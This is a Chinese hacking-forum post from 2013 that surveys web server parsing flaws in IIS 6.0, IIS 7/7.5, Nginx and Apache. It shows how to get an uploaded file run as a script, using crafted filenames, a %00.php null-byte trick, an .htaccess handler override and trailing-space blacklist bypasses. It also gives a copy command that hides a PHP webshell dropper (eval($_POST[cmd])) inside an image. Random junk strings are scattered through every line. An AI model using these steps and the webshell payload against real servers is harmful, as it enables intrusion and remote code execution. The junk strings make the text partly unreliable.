找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2679|回复: 0
打印 上一主题 下一主题

常见服务器解析漏洞总结

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:14:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Author : laterain: w$ P5 \, y0 u- {$ `) g% d
[+]IIS6.01 G' P: ]- H& g7 I' K

9 V% a5 p( M, F目录解析:/xx.asp/xx.jpg & j( K, h% g1 I1 @' i, U
xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码( q. M1 j6 g- B2 N) [; x9 _/ P+ \
IIS6.0 会将 xx.jpg 解析为 asp 文件。
8 e5 ]+ w. A, v+ j& Y) k8 e+ Y后缀解析:/xx.asp;.jpg     
% d# [" r" e2 T2 X- L IIS6.0 都会把此类后缀文件成功解析为 asp 文件。
+ B" _  K" {  q: F  T默认解析:/xx.asa
: c% @0 p9 n* ]: J- z         /xx.cer
6 d6 u( x* H+ Z; q. K* }: o4 |/ A4 t         /xx.cdx
) r! K2 u; l& _: d# T  v IIS6.0 默认的可执行文件除了 asp 还包含这三种8 g- h3 @! F, r; z* `
此处可联系利用目录解析漏洞
1 m6 j  b- s  H3 K* H( x0 ~/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg9 a+ v2 U/ k! Q
[+]IIS 7.0/IIS 7.5/Nginx <0.8.03
7 E" l0 B/ }: @, P2 J ' O% p  C5 d" q1 V3 R/ v
IIS 7.0/IIS 7.5/Nginx <0.8.03
- y) a; _/ `* e3 ?- p9 D' ?4 r7 a 在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面
) M7 y! |/ g0 A6 `& {8 k2 y( F 加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。
$ t2 T! [$ {' Z. D! J 常用利用方法:
: B2 o7 `2 z  [( N4 E0 S 将一张图和一个写入后门代码的文本文件合并将恶意文本! e/ B# Y8 N' y
写入图片的二进制代码之后,避免破坏图片文件头和尾
6 ?6 j  H6 Y, G! d+ y. U+ K; T 如:
1 j8 D; r+ }7 z* r copy xx.jpg /b + yy.txt/a xy.jpg, w* h( m' ~5 K" q* K/ Z
#########################################################
* J4 G4 Z! P# X) S" i+ `2 Q7 i /b 即二进制[binary]模式
3 _* G8 K0 o" A! ]; S, [ /a 即ascii模式
2 h4 K+ Z/ z9 n0 U: w5 ~$ O xx.jpg 正常图片文件* Y. B5 s( `$ k6 L3 y* i
yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),0 b/ `0 [! U% l' Y
'<?php eval($_POST[cmd])?>');?>; R/ j7 Y8 B) g8 U/ A( {& v
意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称0 G3 S' _4 z* p
为shell.php的文件7 I- b4 a4 X$ o2 @
###########################################################
$ L- X3 m' n7 Q 找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php * i3 y3 O, g5 Y. p( v; b
即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php
& C0 d/ Q: g# O9 m6 x 密码 cmd
# E5 ]5 G- m( J- O4 m[+]Nginx <0.8.03/ d- Q9 m, a4 D( l
% O) H" S8 V* P, w
在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞) I: M: x4 K+ |; c, z
在一个文件路径(/xx.jpg)后面加上%00.php
" _" D/ }. G' N% s1 S, _( T 会将 /xx.jpg%00.php 解析为 php 文件。6 M2 c; K5 m8 {( R& F' f$ k
[+]Apache<0.8.03+ l1 ^2 V3 c0 P  P9 V

8 K: ~" z- }9 a2 y2 i 后缀解析:test.php.x1.x2.x3- d" z% r7 N% }( c+ U; V
Apache将从右至左开始判断后缀,若x3非可识别后缀,
' j8 l( t; M$ ]! h& H' a2 n 再判断x2,直到找到可识别后缀为止,然后将该可识别% [/ O0 M2 C7 q$ g
后缀进解析test.php.x1.x2.x3 则会被解析为php
+ Z# E9 a% t( G3 G# P8 i$ A 经验之谈:php|php3|phtml 多可被Apache解析。3 ?0 x* w3 S* [. J
[+]其他一些可利用的% X9 Q7 B& [& B, g0 x( a( W
& h0 k0 G5 ~/ [9 h; ^
在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的
! k" w* {$ |' W, @7 I4 s若这样命名,windows会默认除去空格或点,这也是可以被利用的!
7 U+ y# i% W# a5 U, U0 n在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格. x4 `$ e! I3 o6 |: i, s! r
或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可
# @( l, {; t% }% n& G2 a9 V得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。
) o3 o; I1 G: f+ X$ B5 d{Linux主机中不行,Linux允许这类文件存在}
( I% y& X5 q$ V如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说" D4 v+ r, w, H* ]; S
的,当初我并不知道),且可以被上传,那可以尝试在
  C% L- v) b/ I9 ?# N7 w.htaccess中写入:# G4 X6 R9 ^% N4 C
<FilesMatch “shell.jpg”> * K+ X2 }% y8 ?3 O$ q, n8 c
SetHandler application/x-httpd-php , N5 T0 e  Z. M5 K  ^8 n& ]
</FilesMatch>
6 a; e$ x2 C/ Z6 l4 Z6 Vshell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件# ~# b' b  n1 j+ O- F1 r
[+]错误修改/ m2 G2 G2 \" l

7 c$ a* P- w# a: x5 ]. @, U6 S  U  U在 IIS 6.0 下可解析 /xx.asp:.jpg; O2 r8 K  I4 S* D% l  B
{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去1 P2 S8 t; k) H- ]
剩下/xx.asp}修改:
: X3 W5 W2 E$ L+ B' G先谢谢核攻击的提醒. C9 [2 {  C# q
当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp
# @! v+ y' p, a3 K2 h+ y) N, |里是没有任何内容的,因为。。不好解释 大家自己看
) X7 d/ {# V1 \3 s9 E# M& F2 K3 s1 uhttp://lcx.cc/?i=2448
; }) X- p/ V6 N: khttp://baike.baidu.com/view/3619593.htm
9 ^9 m* A. d7 k  M8 M* Y
! `. O$ Q) J' v4 \* h
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表